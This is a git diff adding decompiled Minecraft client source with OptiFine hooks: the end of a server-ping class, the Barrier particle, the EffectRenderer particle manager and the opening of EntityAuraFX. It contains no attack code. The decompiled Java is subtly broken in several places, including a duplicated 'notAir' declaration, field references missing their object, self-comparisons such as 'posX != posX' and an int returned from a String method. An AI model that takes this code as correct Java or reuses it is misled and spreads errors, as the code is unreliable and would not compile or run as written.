+            GameProfile[] var4 = var2.getPlayerCountData().getPlayers();
+            int var5 = var4.length;
+            
+            for (int var6 = 0; var6 < var5; var6++)
+            {
+              GameProfile var7 = var4[var6];
+              
+              if (var3x.length() > 0)
+              {
+                var3x.append("\n");
+              }
+              
+              var3x.append(var7.getName());
+            }
+            
+            if (var2.getPlayerCountData().getPlayers().length < var2.getPlayerCountData().getOnlinePlayerCount())
+            {
+              if (var3x.length() > 0)
+              {
+                var3x.append("\n");
+              }
+              
+              var3x.append("... and ").append(var2.getPlayerCountData().getOnlinePlayerCount() - var2.getPlayerCountData().getPlayers().length).append(" more ...");
+            }
+            
+            serverplayerList = var3x.toString();
+          }
+        }
+        else
+        {
+          serverpopulationInfo = (EnumChatFormatting.DARK_GRAY + "???");
+        }
+        
+        if (var2.getFavicon() != null)
+        {
+          String var8 = var2.getFavicon();
+          
+          if (var8.startsWith("data:image/png;base64,"))
+          {
+            server.setBase64EncodedIconData(var8.substring("data:image/png;base64,".length()));
+          }
+          else
+          {
+            OldServerPinger.logger.error("Invalid server icon (unknown format)");
+          }
+        }
+        else
+        {
+          server.setBase64EncodedIconData(null);
+        }
+        
+        field_175092_e = Minecraft.getSystemTime();
+        var3.sendPacket(new C01PacketPing(field_175092_e));
+        field_147403_d = true;
+      }
+      
+      public void handlePong(S01PacketPong packetIn) {
+        long var2 = field_175092_e;
+        long var4 = Minecraft.getSystemTime();
+        serverpingToServer = (var4 - var2);
+        var3.closeChannel(new ChatComponentText("Finished"));
+      }
+      
+      public void onDisconnect(IChatComponent reason) {
+        if (!field_147403_d)
+        {
+          OldServerPinger.logger.error("Can't ping " + serverserverIP + ": " + reason.getUnformattedText());
+          serverserverMOTD = (EnumChatFormatting.DARK_RED + "Can't connect to server.");
+          serverpopulationInfo = "";
+          OldServerPinger.this.tryCompatibilityPing(server);
+        }
+      }
+    });
+    
+    try
+    {
+      var3.sendPacket(new net.minecraft.network.handshake.client.C00Handshake(47, var2.getIP(), var2.getPort(), EnumConnectionState.STATUS));
+      var3.sendPacket(new net.minecraft.network.status.client.C00PacketServerQuery());
+    }
+    catch (Throwable var5)
+    {
+      logger.error(var5);
+    }
+  }
+  
+  private void tryCompatibilityPing(final ServerData server)
+  {
+    final ServerAddress var2 = ServerAddress.func_78860_a(serverIP);
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    ((Bootstrap)((Bootstrap)((Bootstrap)new Bootstrap().group((EventLoopGroup)NetworkManager.CLIENT_NIO_EVENTLOOP.getValue())).handler(new ChannelInitializer()
+    {
+      private static final String __OBFID = "CL_00000894";
+      
+      protected void initChannel(Channel p_initChannel_1_)
+      {
+        try {
+          p_initChannel_1_.config().setOption(ChannelOption.IP_TOS, Integer.valueOf(24));
+        }
+        catch (ChannelException localChannelException) {}
+        
+
+
+
+        try
+        {
+          p_initChannel_1_.config().setOption(ChannelOption.TCP_NODELAY, Boolean.valueOf(false));
+        }
+        catch (ChannelException localChannelException1) {}
+        
+
+
+
+        p_initChannel_1_.pipeline().addLast(new ChannelHandler[] { new SimpleChannelInboundHandler()
+        {
+          private static final String __OBFID = "CL_00000895";
+          
+          public void channelActive(ChannelHandlerContext p_channelActive_1_) throws Exception {
+            super.channelActive(p_channelActive_1_);
+            ByteBuf var2x = Unpooled.buffer();
+            
+            try
+            {
+              var2x.writeByte(254);
+              var2x.writeByte(1);
+              var2x.writeByte(250);
+              char[] var3 = "MC|PingHost".toCharArray();
+              var2x.writeShort(var3.length);
+              char[] var4 = var3;
+              int var5 = var3.length;
+              
+
+
+              for (int var6 = 0; var6 < var5; var6++)
+              {
+                char var7 = var4[var6];
+                var2x.writeChar(var7);
+              }
+              
+              var2x.writeShort(7 + 2 * val$var2.getIP().length());
+              var2x.writeByte(127);
+              var3 = val$var2.getIP().toCharArray();
+              var2x.writeShort(var3.length);
+              var4 = var3;
+              var5 = var3.length;
+              
+              for (var6 = 0; var6 < var5; var6++)
+              {
+                char var7 = var4[var6];
+                var2x.writeChar(var7);
+              }
+              
+              var2x.writeInt(val$var2.getPort());
+              p_channelActive_1_.channel().writeAndFlush(var2x).addListener(ChannelFutureListener.CLOSE_ON_FAILURE);
+            }
+            finally
+            {
+              var2x.release();
+            }
+          }
+          
+          protected void channelRead0(ChannelHandlerContext p_channelRead0_1_, ByteBuf p_channelRead0_2_) {
+            short var3 = p_channelRead0_2_.readUnsignedByte();
+            
+            if (var3 == 255)
+            {
+              String var4 = new String(p_channelRead0_2_.readBytes(p_channelRead0_2_.readShort() * 2).array(), com.google.common.base.Charsets.UTF_16BE);
+              String[] var5 = (String[])Iterables.toArray(OldServerPinger.PING_RESPONSE_SPLITTER.split(var4), String.class);
+              
+              if ("§1".equals(var5[0]))
+              {
+                int var6 = MathHelper.parseIntWithDefault(var5[1], 0);
+                String var7 = var5[2];
+                String var8 = var5[3];
+                int var9 = MathHelper.parseIntWithDefault(var5[4], -1);
+                int var10 = MathHelper.parseIntWithDefault(var5[5], -1);
+                val$server.version = -1;
+                val$server.gameVersion = var7;
+                val$server.serverMOTD = var8;
+                val$server.populationInfo = (EnumChatFormatting.GRAY + var9 + EnumChatFormatting.DARK_GRAY + "/" + EnumChatFormatting.GRAY + var10);
+              }
+            }
+            
+            p_channelRead0_1_.close();
+          }
+          
+          public void exceptionCaught(ChannelHandlerContext p_exceptionCaught_1_, Throwable p_exceptionCaught_2_) {
+            p_exceptionCaught_1_.close();
+          }
+          
+          protected void channelRead0(ChannelHandlerContext p_channelRead0_1_, Object p_channelRead0_2_) {
+            channelRead0(p_channelRead0_1_, (ByteBuf)p_channelRead0_2_);
+          }
+          
+        } });
+      }
+    })).channel(NioSocketChannel.class)).connect(var2.getIP(), var2.getPort());
+  }
+  
+  public void pingPendingNetworks()
+  {
+    List var1 = pingDestinations;
+    
+    synchronized (pingDestinations)
+    {
+      Iterator var2 = pingDestinations.iterator();
+      
+      while (var2.hasNext())
+      {
+        NetworkManager var3 = (NetworkManager)var2.next();
+        
+        if (var3.isChannelOpen())
+        {
+          var3.processReceivedPackets();
+        }
+        else
+        {
+          var2.remove();
+          var3.checkDisconnected();
+        }
+      }
+    }
+  }
+  
+  public void clearPendingNetworks()
+  {
+    List var1 = pingDestinations;
+    
+    synchronized (pingDestinations)
+    {
+      Iterator var2 = pingDestinations.iterator();
+      
+      while (var2.hasNext())
+      {
+        NetworkManager var3 = (NetworkManager)var2.next();
+        
+        if (var3.isChannelOpen())
+        {
+          var2.remove();
+          var3.closeChannel(new ChatComponentText("Cancelled"));
+        }
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/particle/Barrier.java b/src/minecraft/net/minecraft/client/particle/Barrier.java
new file mode 100644
index 0000000..804ca92
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/particle/Barrier.java
@@ -0,0 +1,55 @@
+package net.minecraft.client.particle;
+
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.client.renderer.texture.TextureAtlasSprite;
+import net.minecraft.entity.Entity;
+import net.minecraft.item.Item;
+import net.minecraft.world.World;
+
+public class Barrier extends EntityFX
+{
+  private static final String __OBFID = "CL_00002615";
+  
+  protected Barrier(World worldIn, double p_i46286_2_, double p_i46286_4_, double p_i46286_6_, Item p_i46286_8_)
+  {
+    super(worldIn, p_i46286_2_, p_i46286_4_, p_i46286_6_, 0.0D, 0.0D, 0.0D);
+    func_180435_a(Minecraft.getMinecraft().getRenderItem().getItemModelMesher().getParticleIcon(p_i46286_8_));
+    particleRed = (this.particleGreen = this.particleBlue = 1.0F);
+    motionX = (this.motionY = this.motionZ = 0.0D);
+    particleGravity = 0.0F;
+    particleMaxAge = 80;
+  }
+  
+  public int getFXLayer()
+  {
+    return 1;
+  }
+  
+  public void func_180434_a(WorldRenderer p_180434_1_, Entity p_180434_2_, float p_180434_3_, float p_180434_4_, float p_180434_5_, float p_180434_6_, float p_180434_7_, float p_180434_8_)
+  {
+    float var9 = particleIcon.getMinU();
+    float var10 = particleIcon.getMaxU();
+    float var11 = particleIcon.getMinV();
+    float var12 = particleIcon.getMaxV();
+    float var13 = (float)(prevPosX + (posX - prevPosX) * p_180434_3_ - interpPosX);
+    float var14 = (float)(prevPosY + (posY - prevPosY) * p_180434_3_ - interpPosY);
+    float var15 = (float)(prevPosZ + (posZ - prevPosZ) * p_180434_3_ - interpPosZ);
+    p_180434_1_.func_178986_b(particleRed, particleGreen, particleBlue);
+    float var16 = 0.5F;
+    p_180434_1_.addVertexWithUV(var13 - p_180434_4_ * var16 - p_180434_7_ * var16, var14 - p_180434_5_ * var16, var15 - p_180434_6_ * var16 - p_180434_8_ * var16, var10, var12);
+    p_180434_1_.addVertexWithUV(var13 - p_180434_4_ * var16 + p_180434_7_ * var16, var14 + p_180434_5_ * var16, var15 - p_180434_6_ * var16 + p_180434_8_ * var16, var10, var11);
+    p_180434_1_.addVertexWithUV(var13 + p_180434_4_ * var16 + p_180434_7_ * var16, var14 + p_180434_5_ * var16, var15 + p_180434_6_ * var16 + p_180434_8_ * var16, var9, var11);
+    p_180434_1_.addVertexWithUV(var13 + p_180434_4_ * var16 - p_180434_7_ * var16, var14 - p_180434_5_ * var16, var15 + p_180434_6_ * var16 - p_180434_8_ * var16, var9, var12);
+  }
+  
+  public static class Factory implements IParticleFactory {
+    private static final String __OBFID = "CL_00002614";
+    
+    public Factory() {}
+    
+    public EntityFX func_178902_a(int p_178902_1_, World worldIn, double p_178902_3_, double p_178902_5_, double p_178902_7_, double p_178902_9_, double p_178902_11_, double p_178902_13_, int... p_178902_15_) {
+      return new Barrier(worldIn, p_178902_3_, p_178902_5_, p_178902_7_, Item.getItemFromBlock(net.minecraft.init.Blocks.barrier));
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/particle/EffectRenderer.java b/src/minecraft/net/minecraft/client/particle/EffectRenderer.java
new file mode 100644
index 0000000..bab2dbc
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/particle/EffectRenderer.java
@@ -0,0 +1,532 @@
+package net.minecraft.client.particle;
+
+import com.google.common.collect.Lists;
+import com.google.common.collect.Maps;
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.Random;
+import java.util.concurrent.Callable;
+import net.minecraft.block.Block;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.client.renderer.ActiveRenderInfo;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.Tessellator;
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.client.renderer.texture.TextureManager;
+import net.minecraft.client.renderer.texture.TextureMap;
+import net.minecraft.crash.CrashReport;
+import net.minecraft.crash.CrashReportCategory;
+import net.minecraft.entity.Entity;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumParticleTypes;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.MovingObjectPosition;
+import net.minecraft.util.ReportedException;
+import net.minecraft.util.ResourceLocation;
+import net.minecraft.world.World;
+import optifine.Reflector;
+import optifine.ReflectorMethod;
+
+public class EffectRenderer
+{
+  private static final ResourceLocation particleTextures = new ResourceLocation("textures/particle/particles.png");
+  
+  protected World worldObj;
+  
+  private List[][] fxLayers = new List[4][];
+  private List field_178933_d = Lists.newArrayList();
+  
+  private TextureManager renderer;
+  
+  private Random rand = new Random();
+  private Map field_178932_g = Maps.newHashMap();
+  private static final String __OBFID = "CL_00000915";
+  
+  public EffectRenderer(World worldIn, TextureManager p_i1220_2_)
+  {
+    worldObj = worldIn;
+    renderer = p_i1220_2_;
+    
+    for (int var3 = 0; var3 < 4; var3++)
+    {
+      fxLayers[var3] = new List[2];
+      
+      for (int var4 = 0; var4 < 2; var4++)
+      {
+        fxLayers[var3][var4] = Lists.newArrayList();
+      }
+    }
+    
+    func_178930_c();
+  }
+  
+  private void func_178930_c()
+  {
+    func_178929_a(EnumParticleTypes.EXPLOSION_NORMAL.func_179348_c(), new EntityExplodeFX.Factory());
+    func_178929_a(EnumParticleTypes.WATER_BUBBLE.func_179348_c(), new EntityBubbleFX.Factory());
+    func_178929_a(EnumParticleTypes.WATER_SPLASH.func_179348_c(), new EntitySplashFX.Factory());
+    func_178929_a(EnumParticleTypes.WATER_WAKE.func_179348_c(), new EntityFishWakeFX.Factory());
+    func_178929_a(EnumParticleTypes.WATER_DROP.func_179348_c(), new EntityRainFX.Factory());
+    func_178929_a(EnumParticleTypes.SUSPENDED.func_179348_c(), new EntitySuspendFX.Factory());
+    func_178929_a(EnumParticleTypes.SUSPENDED_DEPTH.func_179348_c(), new EntityAuraFX.Factory());
+    func_178929_a(EnumParticleTypes.CRIT.func_179348_c(), new EntityCrit2FX.Factory());
+    func_178929_a(EnumParticleTypes.CRIT_MAGIC.func_179348_c(), new EntityCrit2FX.MagicFactory());
+    func_178929_a(EnumParticleTypes.SMOKE_NORMAL.func_179348_c(), new EntitySmokeFX.Factory());
+    func_178929_a(EnumParticleTypes.SMOKE_LARGE.func_179348_c(), new EntityCritFX.Factory());
+    func_178929_a(EnumParticleTypes.SPELL.func_179348_c(), new EntitySpellParticleFX.Factory());
+    func_178929_a(EnumParticleTypes.SPELL_INSTANT.func_179348_c(), new EntitySpellParticleFX.InstantFactory());
+    func_178929_a(EnumParticleTypes.SPELL_MOB.func_179348_c(), new EntitySpellParticleFX.MobFactory());
+    func_178929_a(EnumParticleTypes.SPELL_MOB_AMBIENT.func_179348_c(), new EntitySpellParticleFX.AmbientMobFactory());
+    func_178929_a(EnumParticleTypes.SPELL_WITCH.func_179348_c(), new EntitySpellParticleFX.WitchFactory());
+    func_178929_a(EnumParticleTypes.DRIP_WATER.func_179348_c(), new EntityDropParticleFX.WaterFactory());
+    func_178929_a(EnumParticleTypes.DRIP_LAVA.func_179348_c(), new EntityDropParticleFX.LavaFactory());
+    func_178929_a(EnumParticleTypes.VILLAGER_ANGRY.func_179348_c(), new EntityHeartFX.AngryVillagerFactory());
+    func_178929_a(EnumParticleTypes.VILLAGER_HAPPY.func_179348_c(), new EntityAuraFX.HappyVillagerFactory());
+    func_178929_a(EnumParticleTypes.TOWN_AURA.func_179348_c(), new EntityAuraFX.Factory());
+    func_178929_a(EnumParticleTypes.NOTE.func_179348_c(), new EntityNoteFX.Factory());
+    func_178929_a(EnumParticleTypes.PORTAL.func_179348_c(), new EntityPortalFX.Factory());
+    func_178929_a(EnumParticleTypes.ENCHANTMENT_TABLE.func_179348_c(), new EntityEnchantmentTableParticleFX.EnchantmentTable());
+    func_178929_a(EnumParticleTypes.FLAME.func_179348_c(), new EntityFlameFX.Factory());
+    func_178929_a(EnumParticleTypes.LAVA.func_179348_c(), new EntityLavaFX.Factory());
+    func_178929_a(EnumParticleTypes.FOOTSTEP.func_179348_c(), new EntityFootStepFX.Factory());
+    func_178929_a(EnumParticleTypes.CLOUD.func_179348_c(), new EntityCloudFX.Factory());
+    func_178929_a(EnumParticleTypes.REDSTONE.func_179348_c(), new EntityReddustFX.Factory());
+    func_178929_a(EnumParticleTypes.SNOWBALL.func_179348_c(), new EntityBreakingFX.SnowballFactory());
+    func_178929_a(EnumParticleTypes.SNOW_SHOVEL.func_179348_c(), new EntitySnowShovelFX.Factory());
+    func_178929_a(EnumParticleTypes.SLIME.func_179348_c(), new EntityBreakingFX.SlimeFactory());
+    func_178929_a(EnumParticleTypes.HEART.func_179348_c(), new EntityHeartFX.Factory());
+    func_178929_a(EnumParticleTypes.BARRIER.func_179348_c(), new Barrier.Factory());
+    func_178929_a(EnumParticleTypes.ITEM_CRACK.func_179348_c(), new EntityBreakingFX.Factory());
+    func_178929_a(EnumParticleTypes.BLOCK_CRACK.func_179348_c(), new EntityDiggingFX.Factory());
+    func_178929_a(EnumParticleTypes.BLOCK_DUST.func_179348_c(), new EntityBlockDustFX.Factory());
+    func_178929_a(EnumParticleTypes.EXPLOSION_HUGE.func_179348_c(), new EntityHugeExplodeFX.Factory());
+    func_178929_a(EnumParticleTypes.EXPLOSION_LARGE.func_179348_c(), new EntityLargeExplodeFX.Factory());
+    func_178929_a(EnumParticleTypes.FIREWORKS_SPARK.func_179348_c(), new EntityFireworkStarterFX_Factory());
+    func_178929_a(EnumParticleTypes.MOB_APPEARANCE.func_179348_c(), new MobAppearance.Factory());
+  }
+  
+  public void func_178929_a(int p_178929_1_, IParticleFactory p_178929_2_)
+  {
+    field_178932_g.put(Integer.valueOf(p_178929_1_), p_178929_2_);
+  }
+  
+  public void func_178926_a(Entity p_178926_1_, EnumParticleTypes p_178926_2_)
+  {
+    field_178933_d.add(new EntityParticleEmitter(worldObj, p_178926_1_, p_178926_2_));
+  }
+  
+  public EntityFX func_178927_a(int p_178927_1_, double p_178927_2_, double p_178927_4_, double p_178927_6_, double p_178927_8_, double p_178927_10_, double p_178927_12_, int... p_178927_14_)
+  {
+    IParticleFactory var15 = (IParticleFactory)field_178932_g.get(Integer.valueOf(p_178927_1_));
+    
+    if (var15 != null)
+    {
+      EntityFX var16 = var15.func_178902_a(p_178927_1_, worldObj, p_178927_2_, p_178927_4_, p_178927_6_, p_178927_8_, p_178927_10_, p_178927_12_, p_178927_14_);
+      
+      if (var16 != null)
+      {
+        addEffect(var16);
+        return var16;
+      }
+    }
+    
+    return null;
+  }
+  
+  public void addEffect(EntityFX p_78873_1_)
+  {
+    if (p_78873_1_ != null)
+    {
+      if ((!(p_78873_1_ instanceof EntityFireworkSparkFX)) || (optifine.Config.isFireworkParticles()))
+      {
+        int var2 = p_78873_1_.getFXLayer();
+        int var3 = p_78873_1_.func_174838_j() != 1.0F ? 0 : 1;
+        
+        if (fxLayers[var2][var3].size() >= 4000)
+        {
+          fxLayers[var2][var3].remove(0);
+        }
+        
+        if ((!(p_78873_1_ instanceof Barrier)) || (!reuseBarrierParticle(p_78873_1_, fxLayers[var2][var3])))
+        {
+          fxLayers[var2][var3].add(p_78873_1_);
+        }
+      }
+    }
+  }
+  
+  public void updateEffects()
+  {
+    for (int var4 = 0; var4 < 4; var4++)
+    {
+      func_178922_a(var4);
+    }
+    
+    ArrayList var41 = Lists.newArrayList();
+    Iterator var2 = field_178933_d.iterator();
+    
+    while (var2.hasNext())
+    {
+      EntityParticleEmitter var3 = (EntityParticleEmitter)var2.next();
+      var3.onUpdate();
+      
+      if (isDead)
+      {
+        var41.add(var3);
+      }
+    }
+    
+    field_178933_d.removeAll(var41);
+  }
+  
+  private void func_178922_a(int p_178922_1_)
+  {
+    for (int var2 = 0; var2 < 2; var2++)
+    {
+      func_178925_a(fxLayers[p_178922_1_][var2]);
+    }
+  }
+  
+  private void func_178925_a(List p_178925_1_)
+  {
+    ArrayList var2 = Lists.newArrayList();
+    
+    for (int var3 = 0; var3 < p_178925_1_.size(); var3++)
+    {
+      EntityFX var4 = (EntityFX)p_178925_1_.get(var3);
+      func_178923_d(var4);
+      
+      if (isDead)
+      {
+        var2.add(var4);
+      }
+    }
+    
+    p_178925_1_.removeAll(var2);
+  }
+  
+  private void func_178923_d(final EntityFX p_178923_1_)
+  {
+    try
+    {
+      p_178923_1_.onUpdate();
+    }
+    catch (Throwable var6)
+    {
+      CrashReport var3 = CrashReport.makeCrashReport(var6, "Ticking Particle");
+      CrashReportCategory var4 = var3.makeCategory("Particle being ticked");
+      final int var5 = p_178923_1_.getFXLayer();
+      var4.addCrashSectionCallable("Particle", new Callable()
+      {
+        private static final String __OBFID = "CL_00000916";
+        
+        public String call() {
+          return p_178923_1_.toString();
+        }
+      });
+      var4.addCrashSectionCallable("Particle Type", new Callable()
+      {
+        private static final String __OBFID = "CL_00000917";
+        
+        public String call() {
+          return "Unknown - " + var5;
+        }
+      });
+      throw new ReportedException(var3);
+    }
+  }
+  
+
+
+
+  public void renderParticles(Entity p_78874_1_, float partialTicks)
+  {
+    float var3 = ActiveRenderInfo.func_178808_b();
+    float var4 = ActiveRenderInfo.func_178803_d();
+    float var5 = ActiveRenderInfo.func_178805_e();
+    float var6 = ActiveRenderInfo.func_178807_f();
+    float var7 = ActiveRenderInfo.func_178809_c();
+    EntityFX.interpPosX = lastTickPosX + (posX - lastTickPosX) * partialTicks;
+    EntityFX.interpPosY = lastTickPosY + (posY - lastTickPosY) * partialTicks;
+    EntityFX.interpPosZ = lastTickPosZ + (posZ - lastTickPosZ) * partialTicks;
+    GlStateManager.enableBlend();
+    GlStateManager.blendFunc(770, 771);
+    GlStateManager.alphaFunc(516, 0.003921569F);
+    
+    for (int var8_nf = 0; var8_nf < 3; var8_nf++)
+    {
+      final int var8 = var8_nf;
+      
+      for (int var9 = 0; var9 < 2; var9++)
+      {
+        if (!fxLayers[var8][var9].isEmpty())
+        {
+          switch (var9)
+          {
+          case 0: 
+            GlStateManager.depthMask(false);
+            break;
+          
+          case 1: 
+            GlStateManager.depthMask(true);
+          }
+          
+          switch (var8)
+          {
+          case 0: 
+          default: 
+            renderer.bindTexture(particleTextures);
+            break;
+          
+          case 1: 
+            renderer.bindTexture(TextureMap.locationBlocksTexture);
+          }
+          
+          GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+          Tessellator var10 = Tessellator.getInstance();
+          WorldRenderer var11 = var10.getWorldRenderer();
+          var11.startDrawingQuads();
+          
+          for (int var12 = 0; var12 < fxLayers[var8][var9].size(); var12++)
+          {
+            final EntityFX var13 = (EntityFX)fxLayers[var8][var9].get(var12);
+            var11.func_178963_b(var13.getBrightnessForRender(partialTicks));
+            
+            try
+            {
+              var13.func_180434_a(var11, p_78874_1_, partialTicks, var3, var7, var4, var5, var6);
+            }
+            catch (Throwable var18)
+            {
+              CrashReport var15 = CrashReport.makeCrashReport(var18, "Rendering Particle");
+              CrashReportCategory var16 = var15.makeCategory("Particle being rendered");
+              var16.addCrashSectionCallable("Particle", new Callable()
+              {
+                private static final String __OBFID = "CL_00000918";
+                
+                public String call() {
+                  return var13.toString();
+                }
+              });
+              var16.addCrashSectionCallable("Particle Type", new Callable()
+              {
+                private static final String __OBFID = "CL_00000919";
+                
+                public String call() {
+                  return "Unknown - " + var8;
+                }
+              });
+              throw new ReportedException(var15);
+            }
+          }
+          
+          var10.draw();
+        }
+      }
+    }
+    
+    GlStateManager.depthMask(true);
+    GlStateManager.disableBlend();
+    GlStateManager.alphaFunc(516, 0.1F);
+  }
+  
+  public void renderLitParticles(Entity p_78872_1_, float p_78872_2_)
+  {
+    float var3 = 0.017453292F;
+    float var4 = MathHelper.cos(rotationYaw * 0.017453292F);
+    float var5 = MathHelper.sin(rotationYaw * 0.017453292F);
+    float var6 = -var5 * MathHelper.sin(rotationPitch * 0.017453292F);
+    float var7 = var4 * MathHelper.sin(rotationPitch * 0.017453292F);
+    float var8 = MathHelper.cos(rotationPitch * 0.017453292F);
+    
+    for (int var9 = 0; var9 < 2; var9++)
+    {
+      List var10 = fxLayers[3][var9];
+      
+      if (!var10.isEmpty())
+      {
+        Tessellator var11 = Tessellator.getInstance();
+        WorldRenderer var12 = var11.getWorldRenderer();
+        
+        for (int var13 = 0; var13 < var10.size(); var13++)
+        {
+          EntityFX var14 = (EntityFX)var10.get(var13);
+          var12.func_178963_b(var14.getBrightnessForRender(p_78872_2_));
+          var14.func_180434_a(var12, p_78872_1_, p_78872_2_, var4, var8, var5, var6, var7);
+        }
+      }
+    }
+  }
+  
+  public void clearEffects(World worldIn)
+  {
+    worldObj = worldIn;
+    
+    for (int var2 = 0; var2 < 4; var2++)
+    {
+      for (int var3 = 0; var3 < 2; var3++)
+      {
+        fxLayers[var2][var3].clear();
+      }
+    }
+    
+    field_178933_d.clear();
+  }
+  
+  public void func_180533_a(BlockPos p_180533_1_, IBlockState p_180533_2_)
+  {
+    boolean notAir;
+    boolean notAir;
+    if ((Reflector.ForgeBlock_addDestroyEffects.exists()) && (Reflector.ForgeBlock_isAir.exists()))
+    {
+      Block var3 = p_180533_2_.getBlock();
+      Reflector.callBoolean(var3, Reflector.ForgeBlock_isAir, new Object[] { worldObj, p_180533_1_ });
+      if (!Reflector.callBoolean(var3, Reflector.ForgeBlock_isAir, new Object[] { worldObj, p_180533_1_ })) {} notAir = !Reflector.callBoolean(var3, Reflector.ForgeBlock_addDestroyEffects, new Object[] { worldObj, p_180533_1_, this });
+    }
+    else
+    {
+      notAir = p_180533_2_.getBlock().getMaterial() != Material.air;
+    }
+    
+    if (notAir)
+    {
+      p_180533_2_ = p_180533_2_.getBlock().getActualState(p_180533_2_, worldObj, p_180533_1_);
+      byte var14 = 4;
+      
+      for (int var4 = 0; var4 < var14; var4++)
+      {
+        for (int var5 = 0; var5 < var14; var5++)
+        {
+          for (int var6 = 0; var6 < var14; var6++)
+          {
+            double var7 = p_180533_1_.getX() + (var4 + 0.5D) / var14;
+            double var9 = p_180533_1_.getY() + (var5 + 0.5D) / var14;
+            double var11 = p_180533_1_.getZ() + (var6 + 0.5D) / var14;
+            addEffect(new EntityDiggingFX(worldObj, var7, var9, var11, var7 - p_180533_1_.getX() - 0.5D, var9 - p_180533_1_.getY() - 0.5D, var11 - p_180533_1_.getZ() - 0.5D, p_180533_2_).func_174846_a(p_180533_1_));
+          }
+        }
+      }
+    }
+  }
+  
+  public void func_180532_a(BlockPos p_180532_1_, EnumFacing p_180532_2_)
+  {
+    IBlockState var3 = worldObj.getBlockState(p_180532_1_);
+    Block var4 = var3.getBlock();
+    
+    if (var4.getRenderType() != -1)
+    {
+      int var5 = p_180532_1_.getX();
+      int var6 = p_180532_1_.getY();
+      int var7 = p_180532_1_.getZ();
+      float var8 = 0.1F;
+      double var9 = var5 + rand.nextDouble() * (var4.getBlockBoundsMaxX() - var4.getBlockBoundsMinX() - var8 * 2.0F) + var8 + var4.getBlockBoundsMinX();
+      double var11 = var6 + rand.nextDouble() * (var4.getBlockBoundsMaxY() - var4.getBlockBoundsMinY() - var8 * 2.0F) + var8 + var4.getBlockBoundsMinY();
+      double var13 = var7 + rand.nextDouble() * (var4.getBlockBoundsMaxZ() - var4.getBlockBoundsMinZ() - var8 * 2.0F) + var8 + var4.getBlockBoundsMinZ();
+      
+      if (p_180532_2_ == EnumFacing.DOWN)
+      {
+        var11 = var6 + var4.getBlockBoundsMinY() - var8;
+      }
+      
+      if (p_180532_2_ == EnumFacing.UP)
+      {
+        var11 = var6 + var4.getBlockBoundsMaxY() + var8;
+      }
+      
+      if (p_180532_2_ == EnumFacing.NORTH)
+      {
+        var13 = var7 + var4.getBlockBoundsMinZ() - var8;
+      }
+      
+      if (p_180532_2_ == EnumFacing.SOUTH)
+      {
+        var13 = var7 + var4.getBlockBoundsMaxZ() + var8;
+      }
+      
+      if (p_180532_2_ == EnumFacing.WEST)
+      {
+        var9 = var5 + var4.getBlockBoundsMinX() - var8;
+      }
+      
+      if (p_180532_2_ == EnumFacing.EAST)
+      {
+        var9 = var5 + var4.getBlockBoundsMaxX() + var8;
+      }
+      
+      addEffect(new EntityDiggingFX(worldObj, var9, var11, var13, 0.0D, 0.0D, 0.0D, var3).func_174846_a(p_180532_1_).multiplyVelocity(0.2F).multipleParticleScaleBy(0.6F));
+    }
+  }
+  
+  public void func_178928_b(EntityFX p_178928_1_)
+  {
+    func_178924_a(p_178928_1_, 1, 0);
+  }
+  
+  public void func_178931_c(EntityFX p_178931_1_)
+  {
+    func_178924_a(p_178931_1_, 0, 1);
+  }
+  
+  private void func_178924_a(EntityFX p_178924_1_, int p_178924_2_, int p_178924_3_)
+  {
+    for (int var4 = 0; var4 < 4; var4++)
+    {
+      if (fxLayers[var4][p_178924_2_].contains(p_178924_1_))
+      {
+        fxLayers[var4][p_178924_2_].remove(p_178924_1_);
+        fxLayers[var4][p_178924_3_].add(p_178924_1_);
+      }
+    }
+  }
+  
+  public String getStatistics()
+  {
+    int var1 = 0;
+    
+    for (int var2 = 0; var2 < 4; var2++)
+    {
+      for (int var3 = 0; var3 < 2; var3++)
+      {
+        var1 += fxLayers[var2][var3].size();
+      }
+    }
+    
+    return var1;
+  }
+  
+  private boolean reuseBarrierParticle(EntityFX entityfx, List<EntityFX> list)
+  {
+    Iterator it = list.iterator();
+    
+    EntityFX efx;
+    do
+    {
+      if (!it.hasNext())
+      {
+        return false;
+      }
+      
+      efx = (EntityFX)it.next();
+    }
+    while ((!(efx instanceof Barrier)) || (posX != posX) || (posY != posY) || (posZ != posZ));
+    
+    particleAge = 0;
+    return true;
+  }
+  
+  public void addBlockHitEffects(BlockPos pos, MovingObjectPosition target)
+  {
+    Block block = worldObj.getBlockState(pos).getBlock();
+    boolean blockAddHitEffects = Reflector.callBoolean(block, Reflector.ForgeBlock_addHitEffects, new Object[] { worldObj, target, this });
+    
+    if ((block != null) && (!blockAddHitEffects))
+    {
+      func_180532_a(pos, field_178784_b);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/particle/EntityAuraFX.java b/src/minecraft/net/minecraft/client/particle/EntityAuraFX.java
new file mode 100644
index 0000000..3921c48
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/particle/EntityAuraFX.java
@@ -0,0 +1,67 @@
+package net.minecraft.client.particle;
+
+import net.minecraft.world.World;
+
+public class EntityAuraFX extends EntityFX
+{
+  private static final String __OBFID = "CL_00000929";
+  
+  protected EntityAuraFX(World worldIn, double p_i1232_2_, double p_i1232_4_, double p_i1232_6_, double p_i1232_8_, double p_i1232_10_, double p_i1232_12_)
+  {
